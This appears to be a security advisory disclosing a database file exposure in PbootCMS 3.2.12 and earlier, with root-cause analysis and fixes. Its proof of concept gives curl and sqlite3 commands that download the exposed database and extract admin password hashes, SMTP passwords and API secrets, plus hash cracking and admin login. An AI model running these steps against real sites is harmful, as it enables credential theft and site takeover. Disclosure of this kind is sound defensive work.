Logo PbootCMS 3.2.12 SQLite Database File Disclosure

PbootCMS 3.2.12 SQLite Database File Disclosure

Title: SQLite Database File Disclosure Vulnerability in PbootCMS ≤ 3.2.12#

BUG_Author: pemic

Affected Version: PbootCMS ≤ 3.2.12

Vendor: PbootCMS Official

Software: PbootCMS GitHub Repository

Vulnerability Files:

  • config/database.php (default database path configuration)

  • apps/admin/controller/IndexController.php (incomplete protection mechanism)

Description:#

A critical information disclosure vulnerability exists in PbootCMS when using the default SQLite database configuration. The SQLite database file is stored in a web-accessible directory (/data/pbootcms.db) and can be directly downloaded by unauthenticated remote attackers. The database contains sensitive information including administrator credentials, user data, and system configuration.

Vulnerability Analysis:#

  1. Root Cause:

    • The default database configuration stores the SQLite file in /data/pbootcms.db:

    // config/database.php, line 22
    'dbname' => '/data/pbootcms.db'
    • The /data/ directory is web-accessible and contains no access restrictions (no .htaccess file to deny access to .db files).

    • The provided .htaccess template in /rewrite/.htaccess only contains URL rewriting rules and does not restrict access to database files.

  2. Incomplete Protection Mechanism:

    • PbootCMS implements an auto-rename mechanism in apps/admin/controller/IndexController.php, lines 54-67:

    if (get_db_type() == 'sqlite') {
       if (strpos($this->config('database.dbname'), 'pbootcms') !== false) {
           if (get_user_ip() != '127.0.0.1' && $this->modDB()) {
               $dbsecurity = true;
          } else {
               $dbsecurity = false;
          }
      } elseif (file_exists(ROOT_PATH . '/data/pbootcms.db')) {
           rename(ROOT_PATH . '/data/pbootcms.db', ROOT_PATH . '/data/' . get_uniqid() . '.db');
      }
    }
    • This protection only triggers when an administrator successfully logs in and accesses the backend homepage (/admin/Index/home).

    • Critical flaw: Before the first admin login, the database remains accessible with its default predictable filename.

  3. Attack Window:

    • From the moment of deployment until the administrator's first backend login, the database file is exposed.

    • On localhost (127.0.0.1), the auto-rename never triggers, leaving development environments permanently vulnerable.

Proof of Concept:#

Prerequisites: 

  • Target site uses SQLite database (default configuration)

  • Administrator has not yet logged into the backend homepage after deployment

  • OR target is accessible via localhost (127.0.0.1)

Step 1: Verify database file accessibility

curl -I "http://<target>/data/pbootcms.db"

Expected response:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 503808

Step 2: Download the database file

curl -o stolen.db "http://<target>/data/pbootcms.db"

Verify the downloaded file:

file stolen.db

Expected output:

stolen.db: SQLite 3.x database, last written using SQLite version 3034001

Step 3: Extract administrator credentials

sqlite3 stolen.db "SELECT id, username, password FROM ay_user;"

Expected output:

1|admin|14e1b600b1fd579f47433b88e8d85291

Step 4: Crack the password hash

The password is hashed using double MD5: md5(md5(password))

# Verify: The hash 14e1b600b1fd579f47433b88e8d85291 corresponds to password "123456"
php -r "echo md5(md5('123456'));"

Output:

14e1b600b1fd579f47433b88e8d85291

Step 5: Login to admin panel with extracted credentials

URL: http://<target>/admin.php
Username: admin
Password: 123456

Sensitive Data Exposed:#

The SQLite database contains the following tables with sensitive information:

TableSensitive DataRisk Level
ay_userAdmin usernames and password hashesCritical
ay_memberMember accounts and credentialsCritical
ay_configSMTP passwords, API secretsHigh
ay_messageUser submitted messages with personal infoMedium
ay_siteSite configurationLow

Example: Extracting additional sensitive data

# List all database tables
sqlite3 stolen.db ".tables"

# Extract SMTP configuration
sqlite3 stolen.db "SELECT name, value FROM ay_config WHERE name LIKE '%smtp%';"

# Extract API secrets
sqlite3 stolen.db "SELECT name, value FROM ay_config WHERE name LIKE '%secret%' OR name LIKE '%key%';"

# Count member accounts
sqlite3 stolen.db "SELECT COUNT(*) FROM ay_member;"

Impact:#

An unauthenticated remote attacker can:

  • Download the complete database containing all website data

  • Extract administrator credentials and gain full backend access

  • Access member/user personal information (privacy breach)

  • Retrieve email server credentials (SMTP password) for further attacks

  • Obtain API keys and secrets for third-party service access

  • Fully compromise the website without any authentication

Tested Environment:#

ComponentVersion
PbootCMS3.2.12
PHP7.4.33
SQLite3.34.1
Web ServerApache 2.4.54
Operating SystemDebian (Docker)

Suggested Fix:#

Option 1: Add .htaccess protection for data directory

Create /data/.htaccess:

<Files ~ "\.db$">
Order allow,deny
Deny from all
</Files>

Option 2: Move database outside web root

Modify config/database.php:

'dbname' => '../private/pbootcms.db'  // Store outside web root

Option 3: Use random database filename from installation

Modify the installer to generate a random database filename during initial setup, rather than relying on post-login rename.

Option 4: Implement pre-login protection

Add database access check in core/init.php or entry files to rename the database before any user interaction.

Timeline:#

  • 2025-12-19: Vulnerability discovered during security audit

  • 2025-12-19: Proof of concept developed and verified

  • 2025-12-19: Report submitted to VulDB

References:#

Last updated on